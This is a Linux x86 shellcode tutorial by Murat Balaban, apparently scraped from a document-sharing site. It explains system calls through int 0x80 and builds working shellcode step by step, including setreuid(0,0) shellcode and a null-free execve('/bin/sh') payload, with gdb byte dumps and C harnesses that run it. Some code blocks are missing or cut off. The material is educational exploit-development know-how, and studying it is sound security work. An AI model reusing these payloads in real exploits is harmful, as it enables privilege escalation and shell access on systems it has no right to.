Académique Documents
Professionnel Documents
Culture Documents
by
murat at enderunix dot org
WHAT'S SHELLCODE?
In our previous paper, i told several times that, once we get control
over the execution of the target program, we can run anycode we want, let's
remember:
Now that we could overwrite the return address, if we put the address
of some other memory segment, can we execute the instructions there?
The answer is yes.
Again, if you would recall, the instructions the CPU will likely to run are
placed in some portion of memory. What we simply do is to place our code
somewhere in the memory and make EIP point to it.
We'll first use the third method and try to run some system calls like exit.
Soon, we'll write a shellcode to spawn a new shell.
The code we'd like to run will usually be the execution of a system program,
e.g. spawning a root shell or binding a root shell to a newly created socket
if it'll run remotely. When we talk about "executing a program", we mean
"calling a kernel service which will be responsible for creating and executing
a new system process". These services run in the most privileged CPU mode,
namely kernel mode. We'll need an entry to the kernel for these sort of servi-
ces. These services are available to userspace programs via system calls.
Thus, to understand what's all about shellcode, we'll first need to dive into
system calls.
SYSTEM CALLS
Entrances into the kernel can be categorized according to the event or action
that initiates it:
1. Hardware Interrupt
2. Hardware trap
3. Software initiated trap
Hardware interrupts arise from external events, such as an I/O device needing
attention or a clock reporting passage of time. Hardware interrupts occur
asynchronously and may not relate to the context of the currently executing
process.
Software initiated traps are used by system to force the scheduling of an event
such as process rescheduling or network processing, as soon as possible. System
calls are a special case of a software initiated trap -the machine instruction
used to initiate a system call typically causes a hardware trap that is handled
specially by the kernel. The most frequent trap into the kernel (after clock
processing) is a request to do a system call. The system call handler must do
the following work:
1. Verify that the parameters to the system call are located at a valid user
address and copy them from the user's address space into the kernel
There are two mechanism under Linux for implementing system calls:
1. lcall7/lcall27 gates
2. INT 0x80 software interrupt
Native Linux programs use int 0x80 whilst binaries from foreign flavors of UNIX
(Solaris, UnixWare 7 etc.) use the lcall7 mechanism. The name "lcall7" is his-
torically misleading because it also covers lcall27 (e.g. Solaris/x86), but the
handler function is called lcall7_func.
When the system boots, the function arch/i386/kernel/traps.c:trap_init() is
called which sets up the IDT (Interrupt Descriptor Table) so that vector 0x80
(of type 15, dpl 3) points to the address of system_call entry from
arch/i386/kernel/entry.S.
When a userspace application makes a system call, the arguments are passed via
registers and the application executes 'int 0x80' instruction. This causes a
trap into kernel mode and processor jumps to system_call entry point in entry.S.
What this generally does is:
1. Save registers
2. Conduct some sanity checking
3. Call the particular system_call handler function to handle the system call.
[3]
EAX register denotes the specific system call. Other registers have relative
meanings according to the value in EAX register.
Now that we've gone through the mechanisms involved in system calls and how
they actually work, we can start invoking them from our assembly instructions.
Once we get the instructions, we'll find the hexadecimal opcode for them,
put them in an array and create our shellcode.
EXIT SHELLCODE
$ export CFLAGS=-g
main()
{
exit(0);
}
----------------------- c-exit.c ------------------------------
$ make c-exit
cc -g c-exit.c -o c-exit
$ gdb ./c-exit
(gdb) b main
Breakpoint 1 at 0x80483b7: file c-exit.c, line 5.
(gdb) r
Starting program: /home/balaban/sc/./c-exit
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
Breakpoint 1, main () at c-exit.c:5
5 exit(128);
(gdb) disas _exit
Dump of assembler code for function _exit:
0x400a5ee0 <_exit>: mov %ebx,%edx
0x400a5ee2 <_exit+2>: mov 0x4(%esp,1),%ebx
0x400a5ee6 <_exit+6>: mov $0x1,%eax
0x400a5eeb <_exit+11>: int $0x80
--kesildi---
As you can see above, standart library function exit sets EAX to 0x1
and EBX to the parameter pushed onto the stack(parameter to the function,
which is the actual exit status).
}
----------------------- a-exit.c ------------------------------
We can trace the system calls within a program's execution time with
strace:
$ strace ./a-exit
execve("./a-exit", ["./a-exit"], [/* 32 vars */]) = 0
brk(0) = 0x80494d8
_exit(0) = ?
$
As you can see, exit(0) has been executed!
From the above given URI, you can get some information about this system
call:
Same principles apply here. We set EAX 0x46 which is sys_setreuid's value,
EBX to the real userid and ECX to the effective userid.
main()
{
__asm__("
xorl %ebx, %ebx
xorl %ecx, %ecx
mov $0x46, %eax
int $0x80
xorl %ebx, %ebx
mov $0x1, %eax
int $0x80
");
int $0x80
Dive into kernel mode.
$ make a-setreuid
cc a-setreuid.c -o a-setreuid
$ su
# strace ./a-setreuid
execve("./a-setreuid", ["./a-setreuid"], [/* 31 vars */]) = 0
brk(0) = 0x80494e4
setreuid(0, 0) = 0
_exit(0) = ?
#
As you can see, first setreuid(0, 0) and then exit(0) has been
executed. It's time we extract the opcode for these instructions.
In GDB, x/bx command shows one byte unit from memory we specify.
This is what we want. For a detailed walkthrough on x/bx, you can
have a look at:
http://www.gnu.org/manual/gdb-4.17/html_chapter/gdb_9.html#SEC56
$ gdb ./a-setreuid
(gdb) disas main
Dump of assembler code for function main:
0x8048380 <main>: push %ebp
0x8048381 <main+1>: mov %esp,%ebp
0x8048383 <main+3>: xor %ebx,%ebx
0x8048385 <main+5>: xor %ecx,%ecx
0x8048387 <main+7>: mov $0x46,%eax
0x804838c <main+12>: int $0x80
0x804838e <main+14>: xor %ebx,%ebx
0x8048390 <main+16>: mov $0x1,%eax
0x8048395 <main+21>: int $0x80
0x8048397 <main+23>: leave
0x8048398 <main+24>: ret
End of assembler dump.
(gdb) x/bx main+3
0x8048383 <main+3>: 0x31
(gdb) x/bx main+4
0x8048384 <main+4>: 0xdb
(gdb) x/bx main+5
0x8048385 <main+5>: 0x31
(gdb) x/bx main+6
0x8048386 <main+6>: 0xc9
(gdb) x/bx main+7
0x8048387 <main+7>: 0xb8
(gdb) x/bx main+8
0x8048388 <main+8>: 0x46
(gdb) x/bx main+9
0x8048389 <main+9>: 0x00
(gdb) x/bx main+10
0x804838a <main+10>: 0x00
(gdb) x/bx main+11
0x804838b <main+11>: 0x00
(gdb) x/bx main+12
0x804838c <main+12>: 0xcd
(gdb) x/bx main+13
0x804838d <main+13>: 0x80
(gdb) x/bx main+14
0x804838e <main+14>: 0x31
(gdb) x/bx main+15
0x804838f <main+15>: 0xdb
(gdb) x/bx main+16
0x8048390 <main+16>: 0xb8
(gdb) x/bx main+17
0x8048391 <main+17>: 0x01
(gdb) x/bx main+18
0x8048392 <main+18>: 0x00
(gdb) x/bx main+19
0x8048393 <main+19>: 0x00
(gdb) x/bx main+20
0x8048394 <main+20>: 0x00
(gdb) x/bx main+21
0x8048395 <main+21>: 0xcd
(gdb) x/bx main+22
0x8048396 <main+22>: 0x80
(gdb)
Our shellcode:
----------------------- s-setreuid.c ------------------------------
char sc[] = "\x31\xdb" /* xor %ebx, %ebx */
"\x31\xc9" /* xor %ecx, %ecx */
"\xb8\x46\x00\x00\x00" /* mov $0x46, %eax */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xor %ebx, %ebx */
"\xb8\x01\x00\x00\x00" /* mov $0x1, %eax */
"\xcd\x80"; /* int $0x80 */
main()
{
void (*fp) (void);
fp = (void *)sc;
fp();
}
----------------------- s-setreuid.c ------------------------------
$ su
# make s-setreuid
cc s-setreuid.c -o s-setreuid
# strace ./s-setreuid
execve("./s-setreuid", ["./s-setreuid"], [/* 31 vars */]) = 0
brk(0) = 0x80494f8
---- snipped
setreuid(0, 0) = 0
_exit(0) = ?
#
This is the sweetest part. Basing what we've learnt so far, lets try
coding a shellcode which spawns an interactive shell. The first thing we should
do is to analyze execve system call a little bit in detail. Go to the URI I've
given above and get some idea:
EBX has the address of pt_regs structure. Not much explanatory. The handler is
in arch'i386/kernel/process.c. Let's see it:
/*
* sys_execve() executes a new program.
*/
asmlinkage int sys_execve(struct pt_regs regs)
{
int error;
char * filename;
As you'd notice, EBX register has the address of the command, which, in this
scenario, is the address of string "/bin/sh". We cannot get any more clue as
to what ECX and EDX do. However look, the routine calls another function,
do_execve and passes these addresses to that. To understand what these
really are, we need to go further:
From fs/exec.c:
int do_execve(char * filename, char ** argv, char ** envp, struct pt_regs * regs)
Here, it's obvious that ECX has the address of argv[] and EDX has the address
of env[]. They are pointers to character arrays. Environment variables can be
set to NULL, which means we can have a zero in EDX, however, we need to supply
argv[0] the name of the program at least. Since argv[] will be NULL terminated,
argv[1] will be zero also.
First write a NULL terminated "/bin/sh" into memory. We can do this by pushing
a NULL and an adjacent "/bin/sh" into stack:
create a NULL in EAX. This will be used for terminating the string:
xorl %eax, %eax
push "//sh":
pushl $0x68732f2f
push "/bin":
pushl $0x6e69622f
At this moment, ESP points at the starting address of "/bin/sh". We can safely
write this into EBX:
movl %esp, %ebx
If we push the address of "/bin/sh" into stack too, the address of the pointer
to character array argv will be at ESP. In this way, we have created the
char **argv in the memory:
pushl %ebx
main()
{
__asm__("
xorl %eax,%eax
pushl %eax
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp, %ebx
pushl %eax
pushl %ebx
movl %esp, %ecx
xorl %edx, %edx
movb $0xb, %eax
int $0x80"
);
}
----------------------- sc.c ------------------------------
$ make sc
cc -g sc.c -o sc
$ ./sc
sh-2.04$
It works. Let's find the opcode line by line and construct our shellcode:
$ gdb ./sc
(gdb) disas main
Dump of assembler code for function main:
0x8048380 <main>: push %ebp
0x8048381 <main+1>: mov %esp,%ebp
0x8048383 <main+3>: xor %eax,%eax
0x8048385 <main+5>: push %eax
0x8048386 <main+6>: push $0x68732f2f
0x804838b <main+11>: push $0x6e69622f
0x8048390 <main+16>: mov %esp,%ebx
0x8048392 <main+18>: push %eax
0x8048393 <main+19>: push %ebx
0x8048394 <main+20>: mov %esp,%ecx
0x8048396 <main+22>: xor %edx,%edx
0x8048398 <main+24>: mov $0xb,%al
0x804839a <main+26>: int $0x80
0x804839c <main+28>: leave
0x804839d <main+29>: ret
End of assembler dump.
(gdb) x/bx main+3
0x8048383 <main+3>: 0x31
(gdb) x/bx main+4
0x8048384 <main+4>: 0xc0
(gdb)
0x8048385 <main+5>: 0x50
(gdb)
0x8048386 <main+6>: 0x68
(gdb)
0x8048387 <main+7>: 0x2f
(gdb)
0x8048388 <main+8>: 0x2f
(gdb)
0x8048389 <main+9>: 0x73
(gdb)
0x804838a <main+10>: 0x68
(gdb)
0x804838b <main+11>: 0x68
(gdb)
0x804838c <main+12>: 0x2f
(gdb)
0x804838d <main+13>: 0x62
(gdb)
0x804838e <main+14>: 0x69
(gdb)
0x804838f <main+15>: 0x6e
(gdb)
0x8048390 <main+16>: 0x89
(gdb)
0x8048391 <main+17>: 0xe3
(gdb)
0x8048392 <main+18>: 0x50
(gdb)
0x8048393 <main+19>: 0x53
(gdb)
0x8048394 <main+20>: 0x89
(gdb)
0x8048395 <main+21>: 0xe1
(gdb)
0x8048396 <main+22>: 0x31
(gdb)
0x8048397 <main+23>: 0xd2
(gdb)
0x8048398 <main+24>: 0xb0
(gdb)
0x8048399 <main+25>: 0x0b
(gdb)
0x804839a <main+26>: 0xcd
(gdb)
0x804839b <main+27>: 0x80
(gdb)
char sc[] =
"\x31\xc0" /* xor %eax, %eax */
"\x50" /* push %eax */
"\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */
"\x89\xe3" /* mov %esp,%ebx */
"\x50" /* push %eax */
"\x53" /* push %ebx */
"\x89\xe1" /* mov %esp,%ecx */
"\x31\xd2" /* xor %edx,%edx */
"\xb0\x0b" /* mov $0xb,%al */
"\xcd\x80"; /* int $0x80 */
main()
{
void (*fp) (void);
fp = (void *)sc;
fp();
}
$ make s-sc
cc -g s-sc.c -o s-sc
$ ./s-sc
sh-2.04$
LAST WORDS
Using the afore mentioned logic, one can construct millions of fantastic
shellcode. What is necessary is a little bit attention.
- Murat Balaban
murat at enderunix dot org
GREETINGS
a, da, aleph1, lsd-pl guys, Mr. Brown, cronos, gargoyle, matsuri
Bibliography: